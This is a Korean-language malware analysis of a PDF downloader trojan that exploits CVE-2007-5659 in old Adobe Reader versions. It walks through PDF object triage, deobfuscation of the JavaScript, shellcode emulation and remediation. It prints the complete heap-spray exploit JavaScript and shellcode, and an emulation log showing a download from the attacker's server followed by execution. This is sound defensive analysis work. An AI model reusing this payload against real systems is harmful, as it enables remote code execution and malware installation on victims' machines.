Search

badpdf.pdf 악성코드 분석

1. 개요

1.1 배경

해당 악성코드는 downloader형 Trogan으로 CVE-2007-5659 취약성를 이용해서 임의의 코드를 실행하도록 구성되어 있다. CVE-2007-5659 취약성은 Adobe Reader와 Acrobat 8.1.1 및 이전 버전에서 발생하는 취약성으로 다중 버퍼 오버플로우로 인해 원격 공격자는 지정되지 않은 JavaScript 메서드에 대한 긴 인수가 있는 PDF 파일을 통해 임의의 코드를 실행할 수 있다. 따라서 취약한 버전의 Adobe Reader 및 Acrobat을 사용하는 일반 사용자가 해당 PDF 악성코드를 실행하면 PDF 파일 내에 있는 쉘코드가 실행이 된다. 쉘코드는 공격자 서버에 접속하여 추가 악성코드를 다운로드 및 실행한다. 현재 공격자 서버는 닫혀있어 추가 악성코드 행위는 알 수 없다.

1.2 분석 수행 인원

이수영 선임 연구원

1.3 파일 정보

File Name
badpdf.pdf
Size
2.7 KB
Type
PDF 1.3
Behavior
Downloader
MD5
2264dd0ee26d8e3fbdf715dd0d807569
SHA256
ad6cedb0d1244c1d740bf5f681850a275c4592281cdebb491ce533edd9d6a77d
ssdeep
48:z0G1oBwJcGL5t55N947sdh5Vnq06daFla8ySj9yKWRSRsJrAmrB3:z0G1oBwyGL5GsdhHq01FlD7j9xUSaJxx
AntiVirus
41 / 61 (67%)

1.4 Time table

Badpdf.pdf 파일 실행 시 내부에 있는 악성 자바스크립트 실행
Adobe Reader와 Acrobat 8.1.1 및 이전 버전인 경우 CVE-2007-5659 취약점을 악용하여 Shellcode 실행
http[:]//78[.]109[.]30[.]5/count/005AD56F/load.php?pdf=a684eceee76fc522773286a895bc8436에서 %SystemRoot%\system32 경로에 ~.exe 악성코드 다운로드
%SystemRoot%\system32\~.exe 실행

2. 악성코드 상세 분석

2.1 badpdf.pdf 분석

(1) pdf 내의 의심스러운 키워드 찾기

pdfid.py를 활용하여 의심스러운 키워드를 찾으면 위와 같다. 의심스러운 키워드로는 /JS가 2개, /JavaScript가 3개, /OpenAction이 1개 존재한다. 즉, badpdf.pdf 파일에는 자바스크립트가 존재하고 해당 PDF 문서을 열어봄과 동시에 무엇인가 행위를 하도록 구성되어 있음을 파악할 수 있다.

(2) pdf 파일 내의 오브젝트 분석

$ pdf-parser.py --search /OpenAction badpdf.pdf
Bash
복사
PDF 문서를 열면 제일 먼저 /OpenAction 키워드에 정의되어 있는 스크립트가 실행된다. 위 이미지를 보면 this.zfnvkWYOKv() 함수가 실행됨을 알 수 있으나 자세한 스크립트 확인이 불가하다. 따라서 obj 1이 참조하고 있는 obj 2, 3, 4, 5, 6, 7을 확인해야 한다.
$ pdf-parser.py --search /JavaScript badpdf.pdf
Bash
복사
obj 1에서 실행되는 스크립트가 자바스크립트임을 확인하였기 때문에 /JavaScript 키워드를 기반으로 검색했다. 검색 결과 obj 7obj 10을 참조하고 있음을 확인할 수 있었다. 추가로 obj 12에서도 /JavaScript 키워드가 발견되었으며 obj 13을 참조하고 있다. 따라서 obj 10 obj 13둘 다 추가로 확인해볼 필요가 있다.
$ pdf-parser.py --object 10 badpdf.pdf $ pdf-parser.py --object 13 badpdf.pdf
Bash
복사
obj 10obj 13을 확인해보면 각각 obj 10obj 12를 참조하고 있고 obj 13은 데이터 스트림이 포함되어 있음을 확인할 수 있다. 따라서 실제 실행하는 스크립트는 obj 13에 포함된 스트림을 분석하면 알 수 있다.

(3) 전체 PDF 구조

해당 PDF 악성코드는 위와 같은 순서로 참조하여 스크립트를 실행한다. 제일 먼저 PDF 문서를 열면 obj 1에서부터 시작해서 obj 13까지 참조하여 스크립트를 실행한다.

(4) 자바스크립트 분석

$ pdf-parser.py --object 13 --raw --filter badpdf.pdf
Bash
복사
obj13를 보면 obj1에서 확인했던 zfnvkWYOKv() 함수의 실제 스트림이 포함되어 있고 FlateDecode 방식으로 인코딩되어 있음을 확인할 수 있다. pdf-parser.py에서 --filter 옵션을 사용하면 FlateDecode, ASCIIHexDecode, ASCII85Decode, LZWDecode, RunLengthDecode까지 디코딩이 가능하다. 따라서 --raw --filter 옵션을 붙여주면 obj 13에 포함된 zfnvkWYOKv() 함수를 확인할 수 있다.
function zfnvkWYOKv() { gwKPaJSHReD0hTAD51qao1s = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u372F%u2E38%u3031%u2E39%u3033%u352E%u632F%u756F%u746E%u302F%u3530%u4441%u3635%u2F46%u6F6C%u6461%u702E%u7068%u703F%u6664%u613D%u3836%u6534%u6563%u6565%u3637%u6366%u3235%u3732%u3337%u3832%u6136%u3938%u6235%u3863%u3334%u0036"); tuVglXABgYUAQFEYVPi3lf = unescape("%u9090%u9090"); nDsGdY1TdZUDCCpNeYRdk28BeZ5R = 20 + gwKPaJSHReD0hTAD51qao1s.length while (tuVglXABgYUAQFEYVPi3lf.length < nDsGdY1TdZUDCCpNeYRdk28BeZ5R) tuVglXABgYUAQFEYVPi3lf += tuVglXABgYUAQFEYVPi3lf; vmRV3x9BCtZs = tuVglXABgYUAQFEYVPi3lf.substring(0, nDsGdY1TdZUDCCpNeYRdk28BeZ5R); dVghsR4KOJoE6WzWkTW0vz = tuVglXABgYUAQFEYVPi3lf.substring(0, tuVglXABgYUAQFEYVPi3lf.length-nDsGdY1TdZUDCCpNeYRdk28BeZ5R); while(dVghsR4KOJoE6WzWkTW0vz.length + nDsGdY1TdZUDCCpNeYRdk28BeZ5R < 0x40000) dVghsR4KOJoE6WzWkTW0vz = dVghsR4KOJoE6WzWkTW0vz + dVghsR4KOJoE6WzWkTW0vz + vmRV3x9BCtZs; dddA9SvmIp7bFVTvbRcRoFQ = new Array(); for ( i = 0; i < 2020; i++ ) dddA9SvmIp7bFVTvbRcRoFQ[i] = dVghsR4KOJoE6WzWkTW0vz + gwKPaJSHReD0hTAD51qao1s; function rHjX2qS2YpWWuvNjX9JfKZ3F(qlrSKFKRQUuUXlV0ES9I6oz4pM, oq7g9J0RSV3FcMgr9DLvvDY8ee) { var lTZGviUaML2vE40mHbYk = ""; while (--qlrSKFKRQUuUXlV0ES9I6oz4pM >= 0) lTZGviUaML2vE40mHbYk += oq7g9J0RSV3FcMgr9DLvvDY8ee; return lTZGviUaML2vE40mHbYk; } Collab.collectEmailInfo({msg:rHjX2qS2YpWWuvNjX9JfKZ3F(4096, unescape("%u0909%u0909"))}); }
JavaScript
복사
obj13에 포함되어 있는 자바스크립트는 위와 같이 난독화 되어있다. 우선 제일 첫번째 변수 gwKPaJSHReD0hTAD51qao1s를 보면 hex값이 존재하는 것을 볼 수 있는데 이 공격코드의 핵심으로 유추가 된다. 해당 자바스크립트의 난독화를 해제해서 해석을 해볼 필요가 있다.
function zfnvkWYOKv() { shellcode = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u372F%u2E38%u3031%u2E39%u3033%u352E%u632F%u756F%u746E%u302F%u3530%u4441%u3635%u2F46%u6F6C%u6461%u702E%u7068%u703F%u6664%u613D%u3836%u6534%u6563%u6565%u3637%u6366%u3235%u3732%u3337%u3832%u6136%u3938%u6235%u3863%u3334%u0036"); nop = unescape("%u9090%u9090"); //shellcode.length = 245 nop_length = 20 + shellcode.length; while (nop.length < nop_length) nop += nop; //nop.length = 512 dummy1 = nop.substring(0, nop_length); final_dummy = nop.substring(0, nop.length-nop_length); while(final_dummy.length + nop_length < 0x40000) final_dummy = final_dummy + final_dummy + dummy1; payload = new Array(); for ( i = 0; i < 2020; i++ ) payload[i] = final_dummy + shellcode; function overflow(loop, ascii_0x9) { var payload2 = ""; while (--loop >= 0) payload2 += ascii_0x9; return payload2; } Collab.collectEmailInfo({msg:overflow(4096, unescape("%u0909%u0909"))}); }
JavaScript
복사
난독화 된 자바스크립트는 변수 및 함수명만 난독화가 되어있고 난독화 된 자바스크립트를 해석하면 위와 같다.
261,879개의 NOP(0x90) 뒤에 쉘코드를 붙여서 NOP Sled 공격 코드 구성
NOP Sled 공격코드를 2020개를 구성해서 페이로드 구성
Collab.collectEmailInfo() 함수의 취약점(CVE-2007-5659)을 이용하여 Heap Spray 공격을 수행하고 공격 성공 시 Heap 영역에 할당한 쉘코드 실행
결론적으로 해당 악성 자바스크립트는 CVE-2007-5659 취약점을 사용해서 쉘코드를 실행하도록 구성되어 있었다.

(5) 쉘코드 분석

$ cat shellcode_unicode %u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u372F%u2E38%u3031%u2E39%u3033%u352E%u632F%u756F%u746E%u302F%u3530%u4441%u3635%u2F46%u6F6C%u6461%u702E%u7068%u703F%u6664%u613D%u3836%u6534%u6563%u6565%u3637%u6366%u3235%u3732%u3337%u3832%u6136%u3938%u6235%u3863%u3334%u0036
Bash
복사
쉘코드를 분석하는 기법은 여러가지가 있다. 그 중에서 쉘코드를 직접 exe 파일로 만들어서 분석하는 방법을 사용할 예정이다. 따라서 악성 자바스크립트에서 핵심적인 쉘코드 부분만 따로 추출해서 shellcode_unicode에 저장했다.
cat shellcode_unicode | unicode2raw > shellcode.raw cat shellcode.raw | sctest -Svs 10000000 > sctest-out.txt more sctest-out.txt verbose = 1 Hook me Captain Cook! userhooks.c:132 user_hook_ExitThread ExitThread(-1) stepcount 314321 HMODULE LoadLibraryA ( LPCTSTR lpFileName = 0x00417193 => = "URLMON"; ) = 0x7df20000; UINT GetSystemDirectory ( LPTSTR lpBuffer = 0x00416c1e => = "c:\WINDOWS\system32"; UINT uSize = 255; ) = 19; ERROR DeleteFile ( LPCTSTR lpFileName = 0x00416c1e => none; ) = -1; HRESULT URLDownloadToFile ( LPUNKNOWN pCaller = 0x00000000 => none; LPCTSTR szURL = 0x0041719a => = "http://78.109.30.5/count/005AD56F/load.php?pdf=a684eceee76fc522773286a895bc8436"; LPCTSTR szFileName = 0x00416c1e => = "c:\WINDOWS\system32\~.exe"; DWORD dwReserved = 0; LPBINDSTATUSCALLBACK lpfnCB = 0; ) = 0; UINT WINAPI WinExec ( LPCSTR lpCmdLine = 0x00416c1e => = "c:\WINDOWS\system32\~.exe"; UINT uCmdShow = 0; ) = 32; void ExitThread ( DWORD dwExitCode = -1; ) = 0;
Bash
복사
쉘코드를 sctest 에뮬레이터에서 실행할 경우 전반적인 악성 행위를 알 수 있다. 따라서 unicode로 되어있는 쉘코드를 raw 데이터로 변환한 뒤 sctest 에뮬레이터에서 실행한다.
LoadLibrary() 함수를 이용해서 urlmon.dll 로드
GetSystemDirectory() 함수로 system32 경로 획득
기존에 악성코드가 존재할 경우 DeleteFile() 함수로 악성코드 제거
urlmon.dll에 있는 URLDownloadToFile() 함수로 공격자 서버에서 system32 경로에 ~.exe의 이름으로 악성코드 다운로드
WinExec() 함수로 다운받은 악성코드 실행
쉘코드 종료
$ cat shellcode_unicode | unicode2hex-escaped > shellcode_hex $ shellcode2exe.py -s shellcode_hex shellcode.exe $ file shellcode.exe shellcode.exe: PE32 executable (GUI) Intel 80386, for MS Windows
Bash
복사
쉘코드의 정확한 행위를 알기 위해서 직접적으로 분석이 필요하다. 쉘코드 분석을 용이하게 하기 위해서 쉘코드를 exe로 변환하는 과정을 거쳐서 분석을 진행했다. 우선 unicode2hex-escaped 툴을 사용해서 유니코드로 되어있는 쉘코드를 hex값으로 바꿔서 shellcode_hex에 저장하고 shellcode2exe.py 툴을 사용해서 hex값으로 되어있는 쉘코드를 exe 파일로 변환했다.

2.2 쉘코드 분석

쉘코드를 열어보면 대부분의 코드가 난독화 되어있음을 확인할 수 있고 간단하게 XOR 연산을 통해서 역난독화를 하고 있다. 쉘코드가 실행되면 우선 sub_401006()에서 난독화 된 코드를 역난독화를 진행한다. 0xEF 키 값으로 총 0x180 byte만큼 XOR을 진행하고 실제 행위를 시작하는 loc_40101A()로 넘어간다.
loc_40101A()에서는 실제 악성 행위를 하기 위해 PEB 주소를 기반으로 사용할 Windows API 함수를 찾아서 스택에 각 함수들의 주소를 저장한다. 해당 쉘코드는 이후 라이브러리 호출, EXE 파일 실행, 파일 삭제, 시스템 디렉토리 경로 탐색, 스레드 종료, 인터넷에서 파일 다운로드 등을 수행할 것으로 예상된다.
사용할 Windows API 함수들의 주소를 찾은 뒤 실제 악성 행위를 하는 부분이다. 피해자 컴퓨터의 system32 경로를 찾은 뒤 system32 폴더 안에서 ~.exe 파일을 삭제한다. 그 다음 공격자 서버에서 system32 폴더 안에 악성코드를 추가로 다운 받고 실행한 뒤 종료한다. 공격자 서버 IP와 다운받는 악성코드 명은 아래와 같다.
URI : http[:]//78[.]109[.]30[.]5/count/005AD56F/load.php?pdf=a684eceee76fc522773286a895bc8436
악성코드 명 : %SystemRoot%\system32\~.exe
분석한 시점에서는 공격자의 서버가 닫혀있기 때문에 ~.exe에 대한 분석까지는 불가하다.

3. 결론 및 대응 방안

badpdf.pdf는 CVE-2007-5659 취약성을 이용하여 공격하는 다운로더형 악성코드로 파일 실행 시 내부에 있는 악성 자바스크립트가 실행이 되며 악성 자바스크립트는 사용자가 Adobe Reader와 Acrobat 8.1.1 및 그 이전 버전을 사용하는 경우 Heap spray 기법을 사용하여 쉘코드를 실행한다. 쉘코드가 실행이 되면 http[:]//78[.]109[.]30[.]5/count/005AD56F/load.php?pdf=a684eceee76fc522773286a895bc8436 에서 추가로 악성코드를 다운 받도록 구성이 되어있다.
Adobe Reader와 Acrobat 8.1.1 및 그 이전 버전을 사용하고 있는 사용자인 경우 CVE-2007-5659 취약성을 이용한 공격에 노출되어있기 때문에 최신 버전 업데이트가 필요하다.
해당 PDF 악성코드에 감염되었다면 일반 사용자의 경우 임시로 조치할 수 있는 방법은 아래와 같다.
1.
백신을 최신 버전으로 업데이트 후 정밀 검사를 진행한다.
예시) Windows Defender : 바이러스 및 위협 방지 - 검사 옵션 - 전체 검사 - 지금 검사
2.
윈도우 탐색기에서 %SystemRoot%\System32를 입력 후 ~.exe 파일을 삭제한다.